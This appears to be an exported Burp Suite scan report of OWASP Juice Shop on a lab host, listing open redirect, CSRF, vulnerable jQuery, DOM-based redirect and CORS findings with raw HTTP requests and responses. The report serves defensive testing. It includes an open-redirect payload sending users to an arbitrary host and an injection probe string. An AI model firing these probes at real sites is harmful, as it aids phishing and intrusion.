The value of the to request parameter is used to perform an HTTP redirect. The payload http://alw5iybvl72/a?https://github.com/bkimminich/juice-shop was submitted in the to parameter. This caused a redirection to the following URL:		http://alw5iybvl72/a?https://github.com/bkimminich/juice-shop








Issue background




Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain. This behavior can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targeting the correct domain and with a valid SSL certificate (if SSL is used), lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.






Issue remediation




If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:



  		Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.


  		Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.





If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:



  		The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.


  		The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.


  		The application should use absolute URLs for all of its redirects, and the redirection function should verify that the user-supplied URL begins with http://yourdomainname.com/ before issuing the redirect.








References




  		Using Burp to Test for Open Redirections


  		Fun With Redirects








Vulnerability classifications




  		CWE-601: URL Redirection to Untrusted Site ('Open Redirect')








Request:


GET /redirect?to=http%3a%2f%2falw5iybvl72%2fa%3fhttps%3a%2f%2fgithub.com%2fbkimminich%2fjuice-shop HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0





Response:


HTTP/1.1 302 Found

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Location: http://alw5iybvl72/a?https://github.com/bkimminich/juice-shop

Vary: Accept, Accept-Encoding

Content-Type: text/html; charset=utf-8

Content-Length: 166

Date: Fri, 22 Jul 2022 17:26:18 GMT

Connection: close



<p>Found. Redirecting to <a href="http://alw5iybvl72/a?https://github.com/bkimminich/juice-shop">http://alw5iybvl72/a?https://github.com/bkimminich/juice-shop</a></p>










[bookmark: 6797840866539856896]
Cross-site request forgery


/socket.io/

Issue detail:



The request appears to be vulnerable to cross-site request forgery (CSRF) attacks against authenticated users.




Issue background




Cross-site request forgery (CSRF) vulnerabilities may arise when applications rely solely on HTTP cookies to identify the user that has issued a particular request. Because browsers automatically add cookies to requests regardless of their origin, it may be possible for an attacker to create a malicious web site that forges a cross-domain request to the vulnerable application. For a request to be vulnerable to CSRF, the following conditions must hold:



		The request can be issued cross-domain, for example using an HTML form. If the request contains non-standard headers or body content, then it may only be issuable from a page that originated on the same domain.


		The application relies solely on HTTP cookies or Basic Authentication to identify the user that issued the request. If the application places session-related tokens elsewhere within the request, then it may not be vulnerable.


		The request performs some privileged action within the application, which modifies the application's state based on the identity of the issuing user.

		The attacker can determine all the parameters required to construct a request that performs the action. If the request contains any values that the attacker cannot determine or predict, then it is not vulnerable.








Issue remediation




The most effective way to protect against CSRF vulnerabilities is to include within relevant requests an additional token that is not transmitted in a cookie: for example, a parameter in a hidden form field. This additional token should contain sufficient entropy, and be generated using a cryptographic random number generator, such that it is not feasible for an attacker to determine or predict the value of any token that was issued to another user. The token should be associated with the user's session, and the application should validate that the correct token is received before performing any action resulting from the request.


An alternative approach, which may be easier to implement, is to validate that Host and Referer headers in relevant requests are both present and contain the same domain name. However, this approach is somewhat less robust: historically, quirks in browsers and plugins have often enabled attackers to forge cross-domain requests that manipulate these headers to bypass such defenses. 





References




    		Web Security Academy: Cross-site request forgery


    		Using Burp to Test for Cross-Site Request Forgery


    		The Deputies Are Still Confused








Vulnerability classifications




		CWE-352: Cross-Site Request Forgery (CSRF)


    		CAPEC-62: Cross Site Request Forgery








Request 1:


POST /socket.io/?EIO=4&transport=polling&t=O8rjPvO&sid=oOvfbPRdnXlKTAgEAHkY HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Origin: http://192.168.186.128:3000

Content-type: text/plain;charset=UTF-8

Accept: */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 1



1

Response 1:


HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 2

Date: Fri, 22 Jul 2022 20:41:20 GMT

Connection: close



ok

Request 2:


POST /socket.io/?EIO=4&transport=polling&t=O8s68i6&sid=ZFtATAXtHU1yx7DOALXJ HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Origin: http://192.168.186.128:3000

Content-type: text/plain;charset=UTF-8

Accept: */*

Referer: http://RiNvNdHnwTF.com:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 1



1

Response 2:


HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 2

Date: Fri, 22 Jul 2022 22:29:25 GMT

Connection: close



ok




[bookmark: 8494912072921046016]
Cross-site request forgery


/socket.io/

Issue detail:



The request appears to be vulnerable to cross-site request forgery (CSRF) attacks against authenticated users.

The application appears to block the request cross-domain by checking the Referer header. However, the request is successful if the Referer header is removed. Note that various techniques exist which enable cross-domain requests to be issued without a Referer header.




Issue background




Cross-site request forgery (CSRF) vulnerabilities may arise when applications rely solely on HTTP cookies to identify the user that has issued a particular request. Because browsers automatically add cookies to requests regardless of their origin, it may be possible for an attacker to create a malicious web site that forges a cross-domain request to the vulnerable application. For a request to be vulnerable to CSRF, the following conditions must hold:



		The request can be issued cross-domain, for example using an HTML form. If the request contains non-standard headers or body content, then it may only be issuable from a page that originated on the same domain.


		The application relies solely on HTTP cookies or Basic Authentication to identify the user that issued the request. If the application places session-related tokens elsewhere within the request, then it may not be vulnerable.


		The request performs some privileged action within the application, which modifies the application's state based on the identity of the issuing user.

		The attacker can determine all the parameters required to construct a request that performs the action. If the request contains any values that the attacker cannot determine or predict, then it is not vulnerable.








Issue remediation




The most effective way to protect against CSRF vulnerabilities is to include within relevant requests an additional token that is not transmitted in a cookie: for example, a parameter in a hidden form field. This additional token should contain sufficient entropy, and be generated using a cryptographic random number generator, such that it is not feasible for an attacker to determine or predict the value of any token that was issued to another user. The token should be associated with the user's session, and the application should validate that the correct token is received before performing any action resulting from the request.


An alternative approach, which may be easier to implement, is to validate that Host and Referer headers in relevant requests are both present and contain the same domain name. However, this approach is somewhat less robust: historically, quirks in browsers and plugins have often enabled attackers to forge cross-domain requests that manipulate these headers to bypass such defenses. 





References




    		Web Security Academy: Cross-site request forgery


    		Using Burp to Test for Cross-Site Request Forgery


    		The Deputies Are Still Confused








Vulnerability classifications




		CWE-352: Cross-Site Request Forgery (CSRF)


    		CAPEC-62: Cross Site Request Forgery








Request 1:


POST /socket.io/?EIO=4&transport=polling&t=O8rSSe6&sid=5PZQJViDx5y8RuDpAF3W HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Origin: http://192.168.186.128:3000

Content-type: text/plain;charset=UTF-8

Accept: */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 1



1

Response 1:


HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 2

Date: Fri, 22 Jul 2022 19:27:17 GMT

Connection: close



ok

Request 2:


POST /socket.io/?EIO=4&transport=polling&t=O8s7ONa&sid=NaTuAzEarXc9lzp3ALjX HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Origin: http://192.168.186.128:3000

Content-type: text/plain;charset=UTF-8

Accept: */*

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 1



1

Response 2:


HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 2

Date: Fri, 22 Jul 2022 22:34:50 GMT

Connection: close



ok










[bookmark: 4181122652593082368]
Vulnerable JavaScript dependency


/

Issue detail:



We observed a vulnerable JavaScript library.


We detected jquery version 2.2.4, which has the following vulnerabilities:



		
CVE-2015-9251: 3rd party CORS request may execute




		
CVE-2015-9251: parseHTML() executes scripts in event handlers




		
CVE-2019-11358: jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution




		
CVE-2020-11022: Regex in its jQuery.htmlPrefilter sometimes may introduce XSS




		
CVE-2020-11023: Regex in its jQuery.htmlPrefilter sometimes may introduce XSS













Issue background





The use of third-party JavaScript libraries can introduce a range of DOM-based vulnerabilities, including some that can be used to hijack user accounts like DOM-XSS. 





Common JavaScript libraries typically enjoy the benefit of being heavily audited. This may mean that bugs are quickly identified and patched upstream, resulting in a steady stream of security updates that need to be applied. Although it may be tempting to ignore updates, using a library with missing security patches can make your website exceptionally easy to exploit. Therefore, it's important to ensure that any available security updates are applied promptly. 




Some library vulnerabilities expose every application that imports the library, but others only affect applications that use certain library features. Accurately identifying which library vulnerabilities apply to your website can be difficult, so we recommend applying all available security updates regardless.







Issue remediation




Develop a patch-management strategy to ensure that security updates are promptly applied to all third-party libraries in your application. Also, consider reducing your attack surface by removing any libraries that are no longer in use.





Vulnerability classifications




		CWE-1104: Use of Unmaintained Third Party Components


		A9: Using Components with Known Vulnerabilities








Request:


GET / HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Fri, 22 Jul 2022 15:18:53 GMT

ETag: W/"7d2-182267d7748"

Content-Type: text/html; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:06:33 GMT

Connection: close

Content-Length: 2002



<!--
  ~ Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors.
  ~ SPDX-License-Identifier: MIT
  --><!DOCTYPE html><html lang="en"><head><base href="/">
  <meta charset="utf-8Snip
</script>
  <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>Snip











[bookmark: 6988774416743161856]
Open redirection (DOM-based)


/

Issue detail:



The application may be vulnerable to DOM-based open redirection. Data is read from location.pathname and passed to xhr.open.




Issue background




DOM-based vulnerabilities arise when a client-side script reads data from a controllable part of the DOM (for example, the URL) and processes this data in an unsafe way.



DOM-based open redirection arises when a script  writes controllable data into the target of a redirection in an unsafe way. An attacker may be able to use the vulnerability to  construct a URL that, if visited by another application user, will cause a redirection to an arbitrary external domain. This behavior can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targeting the correct domain and with a valid SSL certificate (if SSL is used), lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.


Note: If an attacker is able to control the start of the string that is passed to the redirection API, then it may be possible to escalate this vulnerability into a JavaScript injection attack, by using a URL with the javascript: pseudo-protocol to execute arbitrary script code when the URL is processed by the browser.



Burp Suite automatically identifies this issue using dynamic and static code analysis. Static analysis can lead to false positives that are not actually exploitable. If Burp Scanner has not provided any evidence resulting from dynamic analysis, you should review the relevant code and execution paths  to determine whether this vulnerability is indeed present, or whether mitigations are in place that would prevent exploitation.






Issue remediation




The most effective way to avoid DOM-based open redirection vulnerabilities is not to dynamically set redirection targets using data that originated from any untrusted source. If the desired functionality of the application means that this behavior is unavoidable, then defenses must be implemented within the client-side code to prevent malicious data from introducing an arbitrary URL as a redirection target. In general, this is best achieved by using a whitelist of URLs that are permitted redirection targets, and strictly validating the target against this list before performing the redirection.





References




    		Web Security Academy: Open redirection (DOM-based)








Vulnerability classifications




		CWE-601: URL Redirection to Untrusted Site ('Open Redirect')








Request:


GET / HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Fri, 22 Jul 2022 15:18:53 GMT

ETag: W/"7d2-182267d7748"

Content-Type: text/html; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:03:04 GMT

Connection: close

Content-Length: 2002



<!--
  ~ Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors.
  ~ SPDX-License-Identifier: MIT
  --><!DOCTYPE html><html lang="en"><head><base href="/">
  <meta charset="utf-8Snip


Dynamic analysis:




Data is read from location.pathname and passed to xhr.open.




		
The following value was injected into the source:


/////y7c73enug0%27%22%60'%22/y7c73enug0/%3E%3Cy7c73enug0//%3Eopxo5ilylw&






		
The previous value reached the sink:


http://192.168.186.128:3000/////y7c73enug0%27%22%60'%22/y7c73enug0/%3E%3Cy7c73enug0//%3Eopxo5ilylw&/socket.io/?EIO=4&transport=polling&t=O8r0BoB






		
The stack trace at source was:


at Object.aQuhL (<anonymous>:1:221341)
at Object._0x33a85b [as proxiedGetterCallback] (<anonymous>:1:811527)
at get pathname [as pathname] (<anonymous>:1:345499)
at http://192.168.186.128:3000/main.js:1:85198
at H.invoke (http://192.168.186.128:3000/polyfills.js:1:6655)
at et.run (http://192.168.186.128:3000/polyfills.js:1:1998)
at mi.runOutsideAngular (http://192.168.186.128:3000/vendor.js:1:624320)
at new o (http://192.168.186.128:3000/main.js:1:85042)
at o.ɵfac [as factory] (http://192.168.186.128:3000/main.js:1:85296)
at s4.hydrate (http://192.168.186.128:3000/vendor.js:1:569327)
at s4.get (http://192.168.186.128:3000/vendor.js:1:567899)
at I9.get (http://192.168.186.128:3000/vendor.js:1:607513)
at ff.get (http://192.168.186.128:3000/vendor.js:1:603683)
at Da (http://192.168.186.128:3000/vendor.js:1:542563)
at wa (http://192.168.186.128:3000/vendor.js:1:543042)
at Object.ha (http://192.168.186.128:3000/vendor.js:1:571635)
at o.ɵfac [as factory] (http://192.168.186.128:3000/main.js:1:384701)
at Di (http://192.168.186.128:3000/vendor.js:1:544737)
at B8 (http://192.168.186.128:3000/vendor.js:1:575905)
at bs (http://192.168.186.128:3000/vendor.js:1:575982)
at As (http://192.168.186.128:3000/vendor.js:1:586675)
at template (http://192.168.186.128:3000/main.js:1:394967)
at s0 (http://192.168.186.128:3000/vendor.js:1:575510)
at Sr (http://192.168.186.128:3000/vendor.js:1:573686)
at J8 (http://192.168.186.128:3000/vendor.js:1:581795)
at k8 (http://192.168.186.128:3000/vendor.js:1:573890)
at Sr (http://192.168.186.128:3000/vendor.js:1:573901)
at v7.create (http://192.168.186.128:3000/vendor.js:1:606527)
at e.bootstrap (http://192.168.186.128:3000/vendor.js:1:632586)
at http://192.168.186.128:3000/vendor.js:1:630467






		
The stack trace at the sink was:


at Object.Xayfx (<anonymous>:1:221253)
at _0x4ff60b (<anonymous>:1:812808)
at Object.fkEnQ (<anonymous>:1:213761)
at Object.VwEtH (<anonymous>:1:698732)
at Object.egxZR (<anonymous>:1:715817)
at _0x4d0606.gDGeV._0x51c0f8.<computed>.<computed>.<computed> [as __zone_symbol__open] (<anonymous>:1:716706)
at http://192.168.186.128:3000/polyfills.js:1:32930
at f.<computed> [as open] (http://192.168.186.128:3000/polyfills.js:1:13621)
at S.create (http://192.168.186.128:3000/vendor.js:1:212471)
at new S (http://192.168.186.128:3000/vendor.js:1:212212)
at E.request (http://192.168.186.128:3000/vendor.js:1:214705)
at E.doPoll (http://192.168.186.128:3000/vendor.js:1:214903)
at E.poll (http://192.168.186.128:3000/vendor.js:1:215712)
at E.doOpen (http://192.168.186.128:3000/vendor.js:1:215225)
at E.open (http://192.168.186.128:3000/vendor.js:1:208877)
at z.open (http://192.168.186.128:3000/vendor.js:1:203229)
at new z (http://192.168.186.128:3000/vendor.js:1:202394)
at Mt.exports (http://192.168.186.128:3000/vendor.js:1:200847)
at b.open (http://192.168.186.128:3000/vendor.js:1:387204)
at new b (http://192.168.186.128:3000/vendor.js:1:386222)
at y (http://192.168.186.128:3000/vendor.js:1:384960)
at http://192.168.186.128:3000/main.js:1:85087
at H.invoke (http://192.168.186.128:3000/polyfills.js:1:6655)
at et.run (http://192.168.186.128:3000/polyfills.js:1:1998)
at mi.runOutsideAngular (http://192.168.186.128:3000/vendor.js:1:624320)
at new o (http://192.168.186.128:3000/main.js:1:85042)
at o.ɵfac [as factory] (http://192.168.186.128:3000/main.js:1:85296)
at s4.hydrate (http://192.168.186.128:3000/vendor.js:1:569327)
at s4.get (http://192.168.186.128:3000/vendor.js:1:567899)
at I9.get (http://192.168.186.128:3000/vendor.js:1:607513)




















[bookmark: 7134267696840395776]
Cross-origin resource sharing


/

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET / HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Fri, 22 Jul 2022 15:18:53 GMT

ETag: W/"7d2-182267d7748"

Content-Type: text/html; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:24:01 GMT

Connection: close

Content-Length: 2002



<!--
  ~ Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors.
  ~ SPDX-License-Identifier: MIT
  --><!DOCTYPE html><html lang="en"><head><base href="/">
  <meta charset="utf-8Snip





[bookmark: 3454733394400194560]
Cross-origin resource sharing


/103.js

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /103.js HTTP/1.1

Host: 192.168.186.128:3000

Origin: http://192.168.186.128:3000

Accept: */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Cookie: language=en





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:23:50 GMT

ETag: W/"1f0f-181c9cf8770"

Content-Type: application/javascript; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:23:14 GMT

Connection: close

Content-Length: 7951



"use strict";(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[103],{8103:(me,P,L)=>{L.r(P),L.d(P,{shootConfetti:()=>Y});var I={};!function f(h,M,N,p){var O=!!(h.Worker&&h.Blob&&h.PromiSnip





[bookmark: 6482462381749389312]
Cross-origin resource sharing


/assets/i18n/en.json

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /assets/i18n/en.json HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:23:55 GMT

ETag: W/"6e66-181c9cf9af8"

Content-Type: application/json; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 18:03:02 GMT

Connection: close

Content-Length: 28262



{
  "LANGUAGE": "English",
  "NAV_SEARCH": "Search",
  "SEARCH_PLACEHOLDER": "Search...",
  "NAV_COMPLAIN": "Complaint",
  "TITLE_LOGIN": "Login",
  "MANDATORY_EMAIL": "Please provide an email addressSnip





[bookmark: 1411504299496472576]
Cross-origin resource sharing


/ftp

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:24:01 GMT

Connection: close

Content-Length: 11053



<!DOCTYPE html>
<html>
  <head>
    <meta charset='utf-8'> 
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
    <title>listing directoSnip





[bookmark: 2465840574398178304]
Cross-origin resource sharing


/ftp/

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/ HTTP/1.1

Host: 192.168.186.128:3000

